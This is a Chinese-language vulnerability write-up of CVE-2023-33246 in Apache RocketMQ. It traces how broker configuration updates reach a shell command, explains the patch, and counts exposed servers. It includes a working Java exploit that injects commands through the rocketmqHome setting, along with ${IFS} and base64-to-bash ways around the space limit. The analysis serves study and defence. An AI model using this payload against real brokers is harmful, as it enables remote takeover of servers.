作者:Sunflower@知道創宇404實驗室
日期:2023年6月8日

1.漏洞介紹

Apache RocketMQ 存在遠程命令執行漏洞(CVE-2023-33246)。RocketMQ的NameServer、Broker、Controller等多個組件暴露在外網且缺乏權限驗證,攻擊者可以利用該漏洞利用更新配置功能以RocketMQ運行的系統用戶身份執行命令。

2.漏洞版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

3.環境搭建

使用docker拉取漏洞環境

docker pull apache/rocketmq:4.9.5

運行docker run命令,搭建docker環境

docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

docker ps檢查docker正常啟動即可

image-20230605143851801

3.1 源代碼下載

https://dist.apache.org/repos/dist/release/rocketmq/4.9.5/rocketmq-all-4.9.5-source-release.zip

4.RocketMQ簡介

我們平時使用一些體育新聞軟件,會訂閱自己喜歡的一些球隊板塊,當有作者發表文章到相關的板塊,我們就能收到相關的新聞推送。

發布-訂閱(Pub/Sub)是一種消息范式,消息的發送者(稱為發布者、生產者、Producer)會將消息直接發送給特定的接收者(稱為訂閱者、消費者、Comsumer)。而RocketMQ的基礎消息模型就是一個簡單的Pub/Sub模型[1]。

4.1 RocketMQ的部署模型

Producer、Consumer又是如何找到Topic和Broker的地址呢?消息的具體發送和接收又是怎么進行的呢?

4.2 名字服務器 NameServer

NameServer是一個簡單的 Topic 路由注冊中心,支持 Topic、Broker 的動態注冊與發現。

主要包括兩個功能:

  • Broker管理,NameServer接受Broker集群的注冊信息并且保存下來作為路由信息的基本數據。然后提供心跳檢測機制,檢查Broker是否還存活;
  • 路由信息管理,每個NameServer將保存關于 Broker 集群的整個路由信息和用于客戶端查詢的隊列信息。Producer和Consumer通過NameServer就可以知道整個Broker集群的路由信息,從而進行消息的投遞和消費。

4.3 代理服務器 Broker

Broker主要負責消息的存儲、投遞和查詢以及服務高可用保證。

NameServer幾乎無狀態節點,因此可集群部署,節點之間無任何信息同步。Broker部署相對復雜。

在 Master-Slave 架構中,Broker 分為 Master 與 Slave。一個Master可以對應多個Slave,但是一個Slave只能對應一個Master。Master 與 Slave 的對應關系通過指定相同的BrokerName,不同的BrokerId 來定義,BrokerId為0表示Master,非0表示Slave。Master也可以部署多個。

4.4 消息收發

在進行消息收發之前,我們需要告訴客戶端NameServer的地址,RocketMQ有多種方式在客戶端中設置NameServer地址,舉例三個,優先級由高到低,高優先級會覆蓋低優先級。

  • 代碼中指定Name Server地址,多個namesrv地址之間用分號分割
producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");  
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");
  • Java啟動參數中指定Name Server地址
-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876  
  • 環境變量指定Name Server地址
export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876   

4.5 漏洞主要涉及的類的介紹

4.5.1 DefaultMQAdminExt

DefaultMQAdminExt是 RocketMQ 提供的一個擴展類。它提供了一些管理和操作 RocketMQ 的工具方法,可以用于管理主題(Topic)、消費者組(Consumer Group)、訂閱關系等。

DefaultMQAdminExt類提供了一些常用的方法,包括創建和刪除主題、查詢主題信息、查詢消費者組信息、更新訂閱關系等。它可以通過與 NameServer 交互來獲取和修改相關配置信息,并提供了對 RocketMQ 的管理功能。

例如DefaultMQAdminExt更新broker配置的一個方法(更新的配置文件為broker.conf):

public void updateBrokerConfig(String brokerAddr,
    Properties properties) throws RemotingConnectException, RemotingSendRequestException,
    RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
    defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}
4.5.2 FilterServerManager

在 Apache RocketMQ 中,FilterServerManager 類是用于管理過濾服務器(Filter Server)的類。過濾服務器是 RocketMQ 中的一種組件,用于支持消息過濾功能。過濾服務器負責處理消息過濾規則的注冊、更新和刪除,以及消息過濾的評估和匹配。

5.漏洞分析

補丁文件[2]中直接將Filter Server模塊全部移除,所以我們可以直接來看FilterServerManager,簡要分析一下FilterServerManager的調用流程:

在Broker啟動時執行sh mqbroker...,調用到BrokerStartup類:

image-20230607135143784

在該類中繼續調用到BrokerController中的start()方法

image-20230607135509053

繼續跟進

image-20230607135811142

最終到了FilterServerManager類中,其中FilterServerUtil.callShell();存在命令執行

public void start() {

    this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
        @Override
        public void run() {
            try {
                FilterServerManager.this.createFilterServer();
            } catch (Exception e) {
                log.error("", e);
            }
        }
    }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

public void createFilterServer() {
    int more =
        this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
    String cmd = this.buildStartCommand();
    for (int i = 0; i < more; i++) {
        FilterServerUtil.callShell(cmd, log);
    }
}

private String buildStartCommand() {
    String config = "";
    if (BrokerStartup.configFile != null) {
        config = String.format("-c %s", BrokerStartup.configFile);
    }

    if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
        config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
    }

    if (RemotingUtil.isWindowsPlatform()) {
        return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
            this.brokerController.getBrokerConfig().getRocketmqHome(),
            config);
    } else {
        return String.format("sh %s/bin/startfsrv.sh %s",
            this.brokerController.getBrokerConfig().getRocketmqHome(),
            config);
    }
}

根據start()方法內部可知createFilterServer方法每隔30秒都會被調用一次,

public void start() {
    this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
        @Override
        public void run() {
            try {
                FilterServerManager.this.createFilterServer();
            } catch (Exception e) {
                log.error("", e);
            }
        }
    }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

到了這一步,很明顯我們只需要控制BrokerConfig進行命令拼接,等待觸發createFilterServer即可造成RCE。

但是要想成功觸發命令執行還有兩個問題需要解決一下:

1、在createFilterServer方法中,more的值要大于0才會觸發callShell方法

public void createFilterServer() {
    int more =
        this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
    String cmd = this.buildStartCommand();
    for (int i = 0; i < more; i++) {
        FilterServerUtil.callShell(cmd, log);
    }
}

這里只需要通過DefaultMQAdminExt設置filterServerNums的值即可,大致為:

Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...

2、callshell方法傳入命令時,shellString會被splitShellString方法使用空格進行拆分為一個cmdArray數組。

public static void callShell(final String shellString, final InternalLogger log) {
    Process process = null;
    try {
        String[] cmdArray = splitShellString(shellString);
        process = Runtime.getRuntime().exec(cmdArray);
        process.waitFor();
        log.info("CallShell: <{}> OK", shellString);
    } catch (Throwable e) {
        log.error("CallShell: readLine IOException, {}", shellString, e);
    } finally {
        if (null != process)
            process.destroy();
    }
}

意味著傳入的命令如果帶了空格,都會被拆分為數組,而數組在exec中會將每個命令的結尾標記為下一個命令的開頭[3]。

sh {可控}/bin/startfsrv.sh ...,如果傳入-c curl 127.0.0.1;

那么comArray為['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']

這里的每個命令的結尾作為下一個命令的開頭,它將每個被傳入的命令都看作為一個整體,想不出一個更合適的例子,這里可以使用shell里的單引號括起來進行輔助理解:

'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image-20230608145640754

很明顯,這里的curl因為使用了空格,導致curl 127.0.0.1被拆分為了兩個部分,正確的寫法應該是:

'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image-20230608150010919

但是使用空格又會被split,所以現在的問題點就在于如何避免使用空格進行完整的傳參,網上公開的解法[4]:

-c $@|sh . echo curl 127.0.0.1;

$@作為一個特殊變量,它表示傳遞給腳本或命令的所有參數,直接將echo后面的值作為一個整體傳遞給$@,解決了拆分命令的問題。

感謝longofo@知道創宇404實驗室帶我探討出第二個繞過方法:

順便一提,這個繞過的核心點在于這里如果不使用bash,則無法成功使用${IFS}以及{}進行繞過空格限制,這里就不再進行細節講解,感興趣的師傅可以動手試試:

-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";

5.1 payload構造

根據上面的知識,最終構造的payload為:

Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();

5.2 漏洞驗證

使用payload進行curl dnslog,每隔30s左右收到一次請求:

image-20230608124523313

5.3 漏洞修復

在修復版本4.9.6和5.1.1中都是直接刪除了filter server模塊

image-20230608125115726

5.4 影響范圍統計

使用Zoomeye[5]進行搜索,得到ip結果34348條:

https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22

image-20230615183209256

使用Zoomeye搜索一下被攻擊過的目標數量,得到ip結果6011條:

https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22%2B%22rocketmqHome%3D-c%20%24%40%7Csh%22

image-20230615190800286

通過Zoomeye的下載功能,再來本地統計一下攻擊手法。這里大部分都是通過wget、curl等指令下載木馬進行執行反彈shell。

image-20230615190418786

6.參考鏈接

[1] https://github.com/apache/rocketmq/tree/rocketmq-all-4.5.1/docs/cn

[2] https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc

[3] https://stackoverflow.com/questions/48011611/what-exactly-can-we-store-inside-of-string-array-in-process-exec

[4] https://github.com/I5N0rth/CVE-2023-33246

[5] https://www.zoomeye.org


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2081/